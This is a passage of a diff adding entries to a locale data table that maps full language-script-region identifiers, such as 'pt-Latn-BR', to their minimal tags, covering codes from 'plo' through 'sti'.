+ "plo-Latn-MX": "plo",
+ "plr-Latn-CI": "plr",
+ "pls-Latn-MX": "pls",
+ "plu-Latn-BR": "plu",
+ "plv-Latn-PH": "plv",
+ "plw-Latn-PH": "plw",
+ "plz-Latn-MY": "plz",
+ "pma-Latn-VU": "pma",
+ "pmb-Latn-CD": "pmb",
+ "pmd-Latn-AU": "pmd",
+ "pme-Latn-NC": "pme",
+ "pmf-Latn-ID": "pmf",
+ "pmh-Brah-IN": "pmh",
+ "pmi-Latn-CN": "pmi",
+ "pmj-Latn-CN": "pmj",
+ "pml-Latn-TN": "pml",
+ "pmm-Latn-CM": "pmm",
+ "pmn-Latn-CM": "pmn",
+ "pmo-Latn-ID": "pmo",
+ "pmq-Latn-MX": "pmq",
+ "pmr-Latn-PG": "pmr",
+ "pms-Latn-IT": "pms",
+ "pmt-Latn-PF": "pmt",
+ "pmw-Latn-US": "pmw",
+ "pmx-Latn-IN": "pmx",
+ "pmy-Latn-ID": "pmy",
+ "pmz-Latn-MX": "pmz",
+ "pna-Latn-MY": "pna",
+ "pnc-Latn-ID": "pnc",
+ "pnd-Latn-AO": "pnd",
+ "pne-Latn-MY": "pne",
+ "png-Latn-ZZ": "png",
+ "pnh-Latn-CK": "pnh",
+ "pni-Latn-ID": "pni",
+ "pnj-Latn-AU": "pnj",
+ "pnk-Latn-BO": "pnk",
+ "pnl-Latn-BF": "pnl",
+ "pnm-Latn-MY": "pnm",
+ "pnn-Latn-ZZ": "pnn",
+ "pno-Latn-PE": "pno",
+ "pnp-Latn-ID": "pnp",
+ "pnq-Latn-BF": "pnq",
+ "pnr-Latn-PG": "pnr",
+ "pns-Latn-ID": "pns",
+ "pnt-Grek-GR": "pnt",
+ "pnv-Latn-AU": "pnv",
+ "pnw-Latn-AU": "pnw",
+ "pny-Latn-CM": "pny",
+ "pnz-Latn-CF": "pnz",
+ "poc-Latn-GT": "poc",
+ "poe-Latn-MX": "poe",
+ "pof-Latn-CD": "pof",
+ "pog-Latn-BR": "pog",
+ "poh-Latn-GT": "poh",
+ "poi-Latn-MX": "poi",
+ "pok-Latn-BR": "pok",
+ "pom-Latn-US": "pom",
+ "pon-Latn-FM": "pon",
+ "poo-Latn-US": "poo",
+ "pop-Latn-NC": "pop",
+ "poq-Latn-MX": "poq",
+ "pos-Latn-MX": "pos",
+ "pot-Latn-US": "pot",
+ "pov-Latn-GW": "pov",
+ "pow-Latn-MX": "pow",
+ "poy-Latn-TZ": "poy",
+ "ppe-Latn-PG": "ppe",
+ "ppi-Latn-MX": "ppi",
+ "ppk-Latn-ID": "ppk",
+ "ppl-Latn-SV": "ppl",
+ "ppm-Latn-ID": "ppm",
+ "ppn-Latn-PG": "ppn",
+ "ppo-Latn-ZZ": "ppo",
+ "ppp-Latn-CD": "ppp",
+ "ppq-Latn-PG": "ppq",
+ "pps-Latn-MX": "pps",
+ "ppt-Latn-PG": "ppt",
+ "pqa-Latn-NG": "pqa",
+ "pqm-Latn-CA": "pqm",
+ "pra-Khar-PK": "pra",
+ "prc-Arab-AF": "prc",
+ "prd-Arab-IR": "prd",
+ "pre-Latn-ST": "pre",
+ "prf-Latn-PH": "prf",
+ "prg-Latn-001": "prg",
+ "prh-Latn-PH": "prh",
+ "pri-Latn-NC": "pri",
+ "prk-Latn-MM": "prk",
+ "prm-Latn-PG": "prm",
+ "pro-Latn-FR": "pro",
+ "prp-Gujr-IN": "prp",
+ "prq-Latn-PE": "prq",
+ "prr-Latn-BR": "prr",
+ "prt-Thai-TH": "prt",
+ "pru-Latn-ID": "pru",
+ "prw-Latn-PG": "prw",
+ "prx-Arab-IN": "prx",
+ "prx-Tibt-IN": "prx-Tibt",
+ "ps-Arab-AF": "ps",
+ "psa-Latn-ID": "psa",
+ "pse-Latn-ID": "pse",
+ "psh-Arab-AF": "psh",
+ "psi-Arab-AF": "psi",
+ "psm-Latn-BO": "psm",
+ "psn-Latn-ID": "psn",
+ "psq-Latn-PG": "psq",
+ "pss-Latn-ZZ": "pss",
+ "pst-Arab-PK": "pst",
+ "psw-Latn-VU": "psw",
+ "pt-Latn-AO": "pt-AO",
+ "pt-Latn-BR": "pt",
+ "pt-Latn-CV": "pt-CV",
+ "pt-Latn-GW": "pt-GW",
+ "pt-Latn-MO": "pt-MO",
+ "pt-Latn-MZ": "pt-MZ",
+ "pt-Latn-PT": "pt-PT",
+ "pt-Latn-ST": "pt-ST",
+ "pt-Latn-TL": "pt-TL",
+ "pta-Latn-PY": "pta",
+ "pth-Latn-BR": "pth",
+ "pti-Latn-AU": "pti",
+ "ptn-Latn-ID": "ptn",
+ "pto-Latn-BR": "pto",
+ "ptp-Latn-ZZ": "ptp",
+ "ptr-Latn-VU": "ptr",
+ "ptt-Latn-ID": "ptt",
+ "ptu-Latn-ID": "ptu",
+ "ptv-Latn-VU": "ptv",
+ "pua-Latn-MX": "pua",
+ "pub-Latn-IN": "pub",
+ "puc-Latn-ID": "puc",
+ "pud-Latn-ID": "pud",
+ "pue-Latn-AR": "pue",
+ "puf-Latn-ID": "puf",
+ "pug-Latn-BF": "pug",
+ "pui-Latn-CO": "pui",
+ "puj-Latn-ID": "puj",
+ "pum-Deva-NP": "pum",
+ "puo-Latn-VN": "puo",
+ "pup-Latn-PG": "pup",
+ "puq-Latn-PE": "puq",
+ "pur-Latn-BR": "pur",
+ "put-Latn-ID": "put",
+ "puu-Latn-GA": "puu",
+ "puw-Latn-FM": "puw",
+ "pux-Latn-PG": "pux",
+ "puy-Latn-US": "puy",
+ "pwa-Latn-ZZ": "pwa",
+ "pwb-Latn-NG": "pwb",
+ "pwg-Latn-PG": "pwg",
+ "pwm-Latn-PH": "pwm",
+ "pwn-Latn-TW": "pwn",
+ "pwo-Mymr-MM": "pwo",
+ "pwr-Deva-IN": "pwr",
+ "pww-Thai-TH": "pww",
+ "pxm-Latn-MX": "pxm",
+ "pye-Latn-CI": "pye",
+ "pym-Latn-NG": "pym",
+ "pyn-Latn-BR": "pyn",
+ "pyu-Hani-TW": "pyu-Hani",
+ "pyu-Latn-TW": "pyu",
+ "pyx-Mymr-MM": "pyx",
+ "pyy-Latn-MM": "pyy",
+ "pzh-Latn-TW": "pzh",
+ "pzn-Latn-MM": "pzn",
+ "qu-Latn-PE": "qu",
+ "qua-Latn-US": "qua",
+ "qub-Latn-PE": "qub",
+ "quc-Latn-GT": "quc",
+ "qud-Latn-EC": "qud",
+ "quf-Latn-PE": "quf",
+ "qug-Latn-EC": "qug",
+ "qui-Latn-US": "qui",
+ "quk-Latn-PE": "quk",
+ "qul-Latn-BO": "qul",
+ "qum-Latn-GT": "qum",
+ "qun-Latn-US": "qun",
+ "qup-Latn-PE": "qup",
+ "quq-Latn-ES": "quq",
+ "qur-Latn-PE": "qur",
+ "qus-Latn-AR": "qus",
+ "quv-Latn-GT": "quv",
+ "quw-Latn-EC": "quw",
+ "qux-Latn-PE": "qux",
+ "quy-Latn-PE": "quy",
+ "qva-Latn-PE": "qva",
+ "qvc-Latn-PE": "qvc",
+ "qve-Latn-PE": "qve",
+ "qvh-Latn-PE": "qvh",
+ "qvi-Latn-EC": "qvi",
+ "qvj-Latn-EC": "qvj",
+ "qvl-Latn-PE": "qvl",
+ "qvm-Latn-PE": "qvm",
+ "qvn-Latn-PE": "qvn",
+ "qvo-Latn-PE": "qvo",
+ "qvp-Latn-PE": "qvp",
+ "qvs-Latn-PE": "qvs",
+ "qvw-Latn-PE": "qvw",
+ "qvz-Latn-EC": "qvz",
+ "qwa-Latn-PE": "qwa",
+ "qwc-Latn-PE": "qwc",
+ "qwh-Latn-PE": "qwh",
+ "qwm-Cyrl-RU": "qwm-Cyrl",
+ "qwm-Latn-RU": "qwm",
+ "qwm-Runr-RU": "qwm-Runr",
+ "qws-Latn-PE": "qws",
+ "qwt-Latn-US": "qwt",
+ "qxa-Latn-PE": "qxa",
+ "qxc-Latn-PE": "qxc",
+ "qxh-Latn-PE": "qxh",
+ "qxl-Latn-EC": "qxl",
+ "qxn-Latn-PE": "qxn",
+ "qxo-Latn-PE": "qxo",
+ "qxp-Latn-PE": "qxp",
+ "qxq-Arab-IR": "qxq",
+ "qxr-Latn-EC": "qxr",
+ "qxt-Latn-PE": "qxt",
+ "qxu-Latn-PE": "qxu",
+ "qxw-Latn-PE": "qxw",
+ "qya-Latn-001": "qya",
+ "qyp-Latn-US": "qyp",
+ "raa-Deva-NP": "raa",
+ "rab-Deva-NP": "rab",
+ "rac-Latn-ID": "rac",
+ "rad-Latn-VN": "rad",
+ "raf-Deva-NP": "raf",
+ "rag-Latn-KE": "rag",
+ "rah-Beng-IN": "rah",
+ "rah-Latn-IN": "rah-Latn",
+ "rai-Latn-ZZ": "rai",
+ "raj-Deva-IN": "raj",
+ "rak-Latn-PG": "rak",
+ "ram-Latn-BR": "ram",
+ "ran-Latn-ID": "ran",
+ "rao-Latn-ZZ": "rao",
+ "rap-Latn-CL": "rap",
+ "rar-Latn-CK": "rar",
+ "rav-Deva-NP": "rav",
+ "raw-Latn-MM": "raw",
+ "rax-Latn-NG": "rax",
+ "ray-Latn-PF": "ray",
+ "raz-Latn-ID": "raz",
+ "rbb-Mymr-MM": "rbb",
+ "rbk-Latn-PH": "rbk",
+ "rbl-Latn-PH": "rbl",
+ "rbp-Latn-AU": "rbp",
+ "rcf-Latn-RE": "rcf",
+ "rdb-Arab-IR": "rdb",
+ "rea-Latn-PG": "rea",
+ "reb-Latn-ID": "reb",
+ "ree-Latn-MY": "ree",
+ "reg-Latn-TZ": "reg",
+ "rei-Orya-IN": "rei",
+ "rei-Telu-IN": "rei-Telu",
+ "rej-Latn-ID": "rej",
+ "rej-Rjng-ID": "rej-Rjng",
+ "rel-Latn-ZZ": "rel",
+ "rem-Latn-PE": "rem",
+ "ren-Latn-VN": "ren",
+ "res-Latn-ZZ": "res",
+ "ret-Latn-ID": "ret",
+ "rey-Latn-BO": "rey",
+ "rga-Latn-VU": "rga",
+ "rgn-Latn-IT": "rgn",
+ "rgr-Latn-PE": "rgr",
+ "rgs-Latn-VN": "rgs",
+ "rgu-Latn-ID": "rgu",
+ "rhg-Arab-MM": "rhg-Arab",
+ "rhg-Rohg-MM": "rhg",
+ "rhp-Latn-PG": "rhp",
+ "ria-Latn-IN": "ria",
+ "rif-Latn-MA": "rif",
+ "ril-Latn-MM": "ril",
+ "rim-Latn-TZ": "rim",
+ "rin-Latn-NG": "rin",
+ "rir-Latn-ID": "rir",
+ "rit-Latn-AU": "rit",
+ "riu-Latn-ID": "riu",
+ "rjg-Latn-ID": "rjg",
+ "rji-Deva-NP": "rji",
+ "rjs-Deva-NP": "rjs",
+ "rka-Khmr-KH": "rka",
+ "rkb-Latn-BR": "rkb",
+ "rkh-Latn-CK": "rkh",
+ "rki-Mymr-MM": "rki",
+ "rkm-Latn-BF": "rkm",
+ "rkt-Beng-BD": "rkt",
+ "rkw-Latn-AU": "rkw",
+ "rm-Latn-CH": "rm",
+ "rma-Latn-NI": "rma",
+ "rmb-Latn-AU": "rmb",
+ "rmc-Latn-SK": "rmc",
+ "rmd-Latn-DK": "rmd",
+ "rme-Latn-GB": "rme",
+ "rmf-Latn-FI": "rmf",
+ "rmg-Latn-NO": "rmg",
+ "rmh-Latn-ID": "rmh",
+ "rmi-Armn-AM": "rmi",
+ "rmk-Latn-PG": "rmk",
+ "rml-Cyrl-BY": "rml-Cyrl",
+ "rml-Latn-PL": "rml",
+ "rmm-Latn-ID": "rmm",
+ "rmn-Cyrl-BG": "rmn-Cyrl",
+ "rmn-Grek-GR": "rmn-Grek",
+ "rmn-Latn-RS": "rmn",
+ "rmo-Latn-CH": "rmo",
+ "rmp-Latn-PG": "rmp",
+ "rmq-Latn-ES": "rmq",
+ "rmt-Arab-IR": "rmt",
+ "rmu-Latn-SE": "rmu",
+ "rmw-Latn-GB": "rmw",
+ "rmx-Latn-VN": "rmx",
+ "rmz-Mymr-IN": "rmz",
+ "rn-Latn-BI": "rn",
+ "rna-Latn-ZZ": "rna",
+ "rnd-Latn-CD": "rnd",
+ "rng-Latn-MZ": "rng",
+ "rnl-Latn-IN": "rnl",
+ "rnn-Latn-ID": "rnn",
+ "rnr-Latn-AU": "rnr",
+ "rnw-Latn-TZ": "rnw",
+ "ro-Latn-MD": "ro-MD",
+ "ro-Latn-RO": "ro",
+ "rob-Latn-ID": "rob",
+ "roc-Latn-VN": "roc",
+ "rod-Latn-NG": "rod",
+ "roe-Latn-PG": "roe",
+ "rof-Latn-TZ": "rof",
+ "rog-Latn-VN": "rog",
+ "rol-Latn-PH": "rol",
+ "rom-Cyrl-RO": "rom-Cyrl",
+ "rom-Latn-RO": "rom",
+ "roo-Latn-ZZ": "roo",
+ "rop-Latn-AU": "rop",
+ "ror-Latn-ID": "ror",
+ "rou-Latn-TD": "rou",
+ "row-Latn-ID": "row",
+ "rpn-Latn-VU": "rpn",
+ "rpt-Latn-PG": "rpt",
+ "rri-Latn-SB": "rri",
+ "rro-Latn-ZZ": "rro",
+ "rrt-Latn-AU": "rrt",
+ "rsk-Cyrl-RS": "rsk",
+ "rtc-Latn-MM": "rtc",
+ "rth-Latn-ID": "rth",
+ "rtm-Latn-FJ": "rtm",
+ "rtw-Deva-IN": "rtw",
+ "ru-Cyrl-KZ": "ru-KZ",
+ "ru-Cyrl-RU": "ru",
+ "rub-Latn-UG": "rub",
+ "ruc-Latn-UG": "ruc",
+ "rue-Cyrl-UA": "rue",
+ "ruf-Latn-TZ": "ruf",
+ "rug-Latn-SB": "rug",
+ "rui-Latn-TZ": "rui",
+ "ruk-Latn-NG": "ruk",
+ "ruo-Latn-HR": "ruo",
+ "rup-Grek-GR": "rup-Grek",
+ "rup-Latn-RO": "rup",
+ "ruq-Latn-GR": "ruq",
+ "rut-Cyrl-RU": "rut",
+ "rut-Latn-AZ": "rut-Latn",
+ "ruu-Latn-MY": "ruu",
+ "ruy-Latn-NG": "ruy",
+ "ruz-Latn-NG": "ruz",
+ "rw-Latn-RW": "rw",
+ "rwa-Latn-PG": "rwa",
+ "rwk-Latn-TZ": "rwk",
+ "rwl-Latn-TZ": "rwl",
+ "rwm-Latn-UG": "rwm",
+ "rwo-Latn-ZZ": "rwo",
+ "rwr-Deva-IN": "rwr",
+ "rxd-Latn-AU": "rxd",
+ "rxw-Latn-AU": "rxw",
+ "ryu-Kana-JP": "ryu",
+ "sa-Bhks-IN": "sa-Bhks",
+ "sa-Deva-IN": "sa",
+ "sa-Gran-IN": "sa-Gran",
+ "sa-Nand-IN": "sa-Nand",
+ "sa-Shrd-IN": "sa-Shrd",
+ "sa-Sidd-IN": "sa-Sidd",
+ "saa-Latn-TD": "saa",
+ "sab-Latn-PA": "sab",
+ "sac-Latn-US": "sac",
+ "sad-Latn-TZ": "sad",
+ "sae-Latn-BR": "sae",
+ "saf-Latn-GH": "saf",
+ "sah-Cyrl-RU": "sah",
+ "saj-Latn-ID": "saj",
+ "sak-Latn-GA": "sak",
+ "sam-Hebr-PS": "sam-Hebr",
+ "sam-Samr-PS": "sam",
+ "sam-Syrc-PS": "sam-Syrc",
+ "sao-Latn-ID": "sao",
+ "saq-Latn-KE": "saq",
+ "sar-Latn-BO": "sar",
+ "sas-Latn-ID": "sas",
+ "sat-Olck-IN": "sat",
+ "sau-Latn-ID": "sau",
+ "sav-Latn-SN": "sav",
+ "saw-Latn-ID": "saw",
+ "sax-Latn-VU": "sax",
+ "say-Latn-NG": "say",
+ "saz-Saur-IN": "saz",
+ "sba-Latn-ZZ": "sba",
+ "sbb-Latn-SB": "sbb",
+ "sbc-Latn-PG": "sbc",
+ "sbd-Latn-BF": "sbd",
+ "sbe-Latn-ZZ": "sbe",
+ "sbg-Latn-ID": "sbg",
+ "sbh-Latn-PG": "sbh",
+ "sbi-Latn-PG": "sbi",
+ "sbj-Latn-TD": "sbj",
+ "sbk-Latn-TZ": "sbk",
+ "sbl-Latn-PH": "sbl",
+ "sbm-Latn-TZ": "sbm",
+ "sbn-Arab-PK": "sbn",
+ "sbo-Latn-MY": "sbo",
+ "sbp-Latn-TZ": "sbp",
+ "sbq-Latn-PG": "sbq",
+ "sbr-Latn-ID": "sbr",
+ "sbs-Latn-NA": "sbs",
+ "sbt-Latn-ID": "sbt",
+ "sbu-Deva-IN": "sbu-Deva",
+ "sbu-Tibt-IN": "sbu",
+ "sbv-Latn-IT": "sbv",
+ "sbw-Latn-GA": "sbw",
+ "sbx-Latn-ID": "sbx",
+ "sby-Latn-ZM": "sby",
+ "sbz-Latn-CF": "sbz",
+ "sc-Latn-IT": "sc",
+ "scb-Latn-VN": "scb",
+ "sce-Arab-CN": "sce-Arab",
+ "sce-Latn-CN": "sce",
+ "scf-Latn-PA": "scf",
+ "scg-Latn-ID": "scg",
+ "sch-Latn-IN": "sch",
+ "sci-Latn-LK": "sci",
+ "sck-Deva-IN": "sck",
+ "scl-Arab-ZZ": "scl",
+ "scn-Latn-IT": "scn",
+ "sco-Latn-GB": "sco",
+ "scp-Deva-NP": "scp",
+ "scs-Cans-CA": "scs-Cans",
+ "scs-Latn-CA": "scs",
+ "sct-Laoo-LA": "sct",
+ "scu-Takr-IN": "scu",
+ "scv-Latn-NG": "scv",
+ "scw-Latn-NG": "scw",
+ "scx-Grek-IT": "scx",
+ "sd-Arab-PK": "sd",
+ "sd-Deva-IN": "sd-IN",
+ "sd-Khoj-IN": "sd-Khoj",
+ "sd-Sind-IN": "sd-Sind",
+ "sda-Latn-ID": "sda",
+ "sdb-Arab-IQ": "sdb",
+ "sdc-Latn-IT": "sdc",
+ "sde-Latn-NG": "sde",
+ "sdf-Arab-IQ": "sdf",
+ "sdg-Arab-AF": "sdg",
+ "sdh-Arab-IR": "sdh",
+ "sdj-Latn-CG": "sdj",
+ "sdk-Latn-PG": "sdk",
+ "sdn-Latn-IT": "sdn",
+ "sdo-Latn-MY": "sdo",
+ "sdq-Latn-ID": "sdq",
+ "sds-Arab-TN": "sds",
+ "sdu-Latn-ID": "sdu",
+ "sdx-Latn-MY": "sdx",
+ "se-Latn-NO": "se",
+ "sea-Latn-MY": "sea",
+ "seb-Latn-CI": "seb",
+ "sec-Latn-CA": "sec",
+ "sed-Latn-VN": "sed",
+ "see-Latn-US": "see",
+ "sef-Latn-CI": "sef",
+ "seg-Latn-TZ": "seg",
+ "seh-Latn-MZ": "seh",
+ "sei-Latn-MX": "sei",
+ "sej-Latn-PG": "sej",
+ "sek-Cans-CA": "sek-Cans",
+ "sek-Latn-CA": "sek",
+ "sel-Cyrl-RU": "sel",
+ "sen-Latn-BF": "sen",
+ "seo-Latn-PG": "seo",
+ "sep-Latn-BF": "sep",
+ "seq-Latn-BF": "seq",
+ "ser-Latn-US": "ser",
+ "ses-Latn-ML": "ses",
+ "set-Latn-ID": "set",
+ "seu-Latn-ID": "seu",
+ "sev-Latn-CI": "sev",
+ "sew-Latn-PG": "sew",
+ "sey-Latn-EC": "sey",
+ "sez-Latn-MM": "sez",
+ "sfe-Latn-PH": "sfe",
+ "sfm-Plrd-CN": "sfm",
+ "sfw-Latn-GH": "sfw",
+ "sg-Latn-CF": "sg",
+ "sga-Ogam-IE": "sga",
+ "sgb-Latn-PH": "sgb",
+ "sgc-Latn-KE": "sgc",
+ "sgd-Latn-PH": "sgd",
+ "sge-Latn-ID": "sge",
+ "sgh-Arab-AF": "sgh-Arab",
+ "sgh-Cyrl-TJ": "sgh",
+ "sgh-Latn-TJ": "sgh-Latn",
+ "sgi-Latn-CM": "sgi",
+ "sgj-Deva-IN": "sgj",
+ "sgm-Latn-KE": "sgm",
+ "sgp-Latn-IN": "sgp",
+ "sgr-Arab-IR": "sgr",
+ "sgs-Latn-LT": "sgs",
+ "sgt-Tibt-BT": "sgt",
+ "sgu-Latn-ID": "sgu",
+ "sgw-Ethi-ZZ": "sgw",
+ "sgy-Arab-AF": "sgy",
+ "sgz-Latn-ZZ": "sgz",
+ "sha-Latn-NG": "sha",
+ "shb-Latn-BR": "shb",
+ "shc-Latn-CD": "shc",
+ "shd-Arab-PK": "shd",
+ "she-Latn-ET": "she",
+ "shg-Latn-BW": "shg",
+ "shh-Latn-US": "shh",
+ "shi-Tfng-MA": "shi",
+ "shj-Latn-SD": "shj",
+ "shk-Latn-ZZ": "shk",
+ "shm-Arab-IR": "shm",
+ "shn-Mymr-MM": "shn",
+ "sho-Latn-NG": "sho",
+ "shp-Latn-PE": "shp",
+ "shq-Latn-ZM": "shq",
+ "shr-Latn-CD": "shr",
+ "shs-Latn-CA": "shs",
+ "sht-Latn-US": "sht",
+ "shu-Arab-ZZ": "shu",
+ "shv-Arab-OM": "shv",
+ "shw-Latn-SD": "shw",
+ "shy-Arab-DZ": "shy-Arab",
+ "shy-Latn-DZ": "shy",
+ "shy-Tfng-DZ": "shy-Tfng",
+ "shz-Latn-ML": "shz",
+ "si-Sinh-LK": "si",
+ "sia-Cyrl-RU": "sia",
+ "sib-Latn-MY": "sib",
+ "sid-Latn-ET": "sid",
+ "sie-Latn-ZM": "sie",
+ "sif-Latn-BF": "sif",
+ "sig-Latn-ZZ": "sig",
+ "sih-Latn-NC": "sih",
+ "sii-Latn-IN": "sii",
+ "sij-Latn-PG": "sij",
+ "sik-Latn-BR": "sik",
+ "sil-Latn-ZZ": "sil",
+ "sim-Latn-ZZ": "sim",
+ "sip-Tibt-IN": "sip",
+ "siq-Latn-PG": "siq",
+ "sir-Latn-NG": "sir",
+ "sis-Latn-US": "sis",
+ "siu-Latn-PG": "siu",
+ "siv-Latn-PG": "siv",
+ "siw-Latn-PG": "siw",
+ "six-Latn-PG": "six",
+ "siy-Arab-IR": "siy",
+ "siz-Arab-EG": "siz",
+ "sja-Latn-CO": "sja",
+ "sjb-Latn-ID": "sjb",
+ "sjd-Cyrl-RU": "sjd",
+ "sje-Latn-SE": "sje",
+ "sjg-Latn-TD": "sjg",
+ "sjl-Latn-IN": "sjl",
+ "sjm-Latn-PH": "sjm",
+ "sjp-Beng-IN": "sjp-Beng",
+ "sjp-Deva-IN": "sjp",
+ "sjr-Latn-ZZ": "sjr",
+ "sjt-Cyrl-RU": "sjt",
+ "sju-Latn-SE": "sju",
+ "sjw-Latn-US": "sjw",
+ "sk-Latn-SK": "sk",
+ "ska-Latn-US": "ska",
+ "skb-Thai-TH": "skb",
+ "skc-Latn-ZZ": "skc",
+ "skd-Latn-US": "skd",
+ "ske-Latn-VU": "ske",
+ "skf-Latn-BR": "skf",
+ "skg-Latn-MG": "skg",
+ "skh-Latn-ID": "skh",
+ "ski-Latn-ID": "ski",
+ "skj-Deva-NP": "skj",
+ "skm-Latn-PG": "skm",
+ "skn-Latn-PH": "skn",
+ "sko-Latn-ID": "sko",
+ "skp-Latn-MY": "skp",
+ "skq-Latn-BF": "skq",
+ "skr-Arab-PK": "skr",
+ "skr-Mult-PK": "skr-Mult",
+ "sks-Latn-ZZ": "sks",
+ "skt-Latn-CD": "skt",
+ "sku-Latn-VU": "sku",
+ "skv-Latn-ID": "skv",
+ "skw-Latn-GY": "skw",
+ "skx-Latn-ID": "skx",
+ "sky-Latn-SB": "sky",
+ "skz-Latn-ID": "skz",
+ "sl-Latn-SI": "sl",
+ "slc-Latn-CO": "slc",
+ "sld-Latn-ZZ": "sld",
+ "slg-Latn-ID": "slg",
+ "slh-Latn-US": "slh",
+ "sli-Latn-PL": "sli",
+ "slj-Latn-BR": "slj",
+ "sll-Latn-ZZ": "sll",
+ "slm-Latn-PH": "slm",
+ "sln-Latn-US": "sln",
+ "slp-Latn-ID": "slp",
+ "slq-Arab-IR": "slq",
+ "slr-Latn-CN": "slr",
+ "slu-Latn-ID": "slu",
+ "slw-Latn-PG": "slw",
+ "slx-Latn-CD": "slx",
+ "sly-Latn-ID": "sly",
+ "slz-Latn-ID": "slz",
+ "sm-Latn-AS": "sm-AS",
+ "sm-Latn-WS": "sm",
+ "sma-Latn-SE": "sma",
+ "smb-Latn-PG": "smb",
+ "smc-Latn-PG": "smc",
+ "smf-Latn-PG": "smf",
+ "smg-Latn-PG": "smg",
+ "smh-Yiii-CN": "smh",
+ "smj-Latn-SE": "smj",
+ "smk-Latn-PH": "smk",
+ "sml-Latn-PH": "sml",
+ "smn-Latn-FI": "smn",
+ "smp-Samr-IL": "smp",
+ "smq-Latn-ZZ": "smq",
+ "smr-Latn-ID": "smr",
+ "sms-Latn-FI": "sms",
+ "smt-Latn-IN": "smt",
+ "smu-Khmr-KH": "smu",
+ "smw-Latn-ID": "smw",
+ "smx-Latn-CD": "smx",
+ "smy-Arab-IR": "smy",
+ "smz-Latn-PG": "smz",
+ "sn-Latn-ZW": "sn",
+ "snc-Latn-ZZ": "snc",
+ "sne-Latn-MY": "sne",
+ "snf-Latn-SN": "snf",
+ "sng-Brai-CD": "sng-Brai",
+ "sng-Latn-CD": "sng",
+ "sni-Latn-PE": "sni",
+ "snj-Latn-CF": "snj",
+ "snk-Latn-ML": "snk",
+ "snl-Latn-PH": "snl",
+ "snm-Latn-UG": "snm",
+ "snn-Latn-CO": "snn",
+ "sno-Latn-US": "sno",
+ "snp-Latn-ZZ": "snp",
+ "snq-Latn-GA": "snq",
+ "snr-Latn-PG": "snr",
+ "sns-Latn-VU": "sns",
+ "snu-Latn-ID": "snu",
+ "snv-Latn-MY": "snv",
+ "snw-Latn-GH": "snw",
+ "snx-Latn-ZZ": "snx",
+ "sny-Latn-ZZ": "sny",
+ "snz-Latn-PG": "snz",
+ "so-Latn-SO": "so",
+ "so-Osma-SO": "so-Osma",
+ "soa-Tavt-TH": "soa",
+ "soa-Thai-TH": "soa-Thai",
+ "sob-Latn-ID": "sob",
+ "soc-Latn-CD": "soc",
+ "sod-Latn-CD": "sod",
+ "soe-Latn-CD": "soe",
+ "sog-Sogd-UZ": "sog",
+ "sog-Sogo-UZ": "sog-Sogo",
+ "soi-Deva-NP": "soi",
+ "sok-Latn-ZZ": "sok",
+ "sol-Latn-PG": "sol",
+ "soo-Latn-CD": "soo",
+ "sop-Latn-CD": "sop",
+ "soq-Latn-ZZ": "soq",
+ "sor-Latn-TD": "sor",
+ "sos-Latn-BF": "sos",
+ "sou-Thai-TH": "sou",
+ "sov-Latn-PW": "sov",
+ "sow-Latn-PG": "sow",
+ "sox-Latn-CM": "sox",
+ "soy-Latn-ZZ": "soy",
+ "soz-Latn-TZ": "soz",
+ "spb-Latn-ID": "spb",
+ "spc-Latn-VE": "spc",
+ "spd-Latn-ZZ": "spd",
+ "spe-Latn-PG": "spe",
+ "spg-Latn-MY": "spg",
+ "spi-Latn-ID": "spi",
+ "spk-Latn-PG": "spk",
+ "spl-Latn-ZZ": "spl",
+ "spm-Latn-PG": "spm",
+ "spn-Latn-PY": "spn",
+ "spo-Latn-US": "spo",
+ "spp-Latn-ML": "spp",
+ "spq-Latn-PE": "spq",
+ "spr-Latn-ID": "spr",
+ "sps-Latn-ZZ": "sps",
+ "spt-Tibt-IN": "spt",
+ "spv-Orya-IN": "spv",
+ "sq-Elba-AL": "sq-Elba",
+ "sq-Latn-AL": "sq",
+ "sq-Latn-MK": "sq-MK",
+ "sq-Latn-XK": "sq-XK",
+ "sq-Vith-AL": "sq-Vith",
+ "sqa-Latn-NG": "sqa",
+ "sqh-Latn-NG": "sqh",
+ "sqm-Latn-CF": "sqm",
+ "sqo-Arab-IR": "sqo",
+ "sqq-Laoo-LA": "sqq",
+ "sqt-Arab-YE": "sqt",
+ "sqt-Latn-YE": "sqt-Latn",
+ "squ-Latn-CA": "squ",
+ "sr-Cyrl-BA": "sr-BA",
+ "sr-Cyrl-RS": "sr",
+ "sr-Cyrl-XK": "sr-XK",
+ "sr-Latn-ME": "sr-ME",
+ "sr-Latn-RO": "sr-RO",
+ "sr-Latn-RU": "sr-RU",
+ "sr-Latn-TR": "sr-TR",
+ "sra-Latn-PG": "sra",
+ "srb-Sora-IN": "srb",
+ "sre-Latn-ID": "sre",
+ "srf-Latn-PG": "srf",
+ "srg-Latn-PH": "srg",
+ "srh-Arab-CN": "srh",
+ "sri-Latn-CO": "sri",
+ "srk-Latn-MY": "srk",
+ "srl-Latn-ID": "srl",
+ "srm-Latn-SR": "srm",
+ "srn-Latn-SR": "srn",
+ "sro-Latn-IT": "sro",
+ "srq-Latn-BO": "srq",
+ "srr-Latn-SN": "srr",
+ "srs-Latn-CA": "srs",
+ "srt-Latn-ID": "srt",
+ "sru-Latn-BR": "sru",
+ "srv-Latn-PH": "srv",
+ "srw-Latn-ID": "srw",
+ "srx-Deva-IN": "srx",
+ "sry-Latn-PG": "sry",
+ "srz-Arab-IR": "srz",
+ "ss-Latn-ZA": "ss",
+ "ssb-Latn-PH": "ssb",
+ "ssc-Latn-TZ": "ssc",
+ "ssd-Latn-ZZ": "ssd",
+ "sse-Arab-PH": "sse-Arab",
+ "sse-Latn-PH": "sse",
+ "ssf-Latn-TW": "ssf",
+ "ssg-Latn-ZZ": "ssg",
+ "ssh-Arab-AE": "ssh",
+ "ssj-Latn-PG": "ssj",
+ "ssl-Latn-GH": "ssl",
+ "ssm-Latn-MY": "ssm",
+ "ssn-Latn-KE": "ssn",
+ "sso-Latn-PG": "sso",
+ "ssq-Latn-ID": "ssq",
+ "sss-Laoo-LA": "sss",
+ "sss-Thai-TH": "sss-Thai",
+ "sst-Latn-PG": "sst",
+ "ssu-Latn-PG": "ssu",
+ "ssv-Latn-VU": "ssv",
+ "ssx-Latn-PG": "ssx",
+ "ssy-Latn-ER": "ssy",
+ "ssz-Latn-PG": "ssz",
+ "st-Latn-LS": "st-LS",
+ "st-Latn-ZA": "st",
+ "sta-Latn-ZM": "sta",
+ "stb-Latn-PH": "stb",
+ "ste-Latn-ID": "ste",
+ "stf-Latn-PG": "stf",
+ "stg-Latn-VN": "stg",
+ "sth-Latn-IE": "sth",
+ "sti-Latn-KH": "sti-KH",
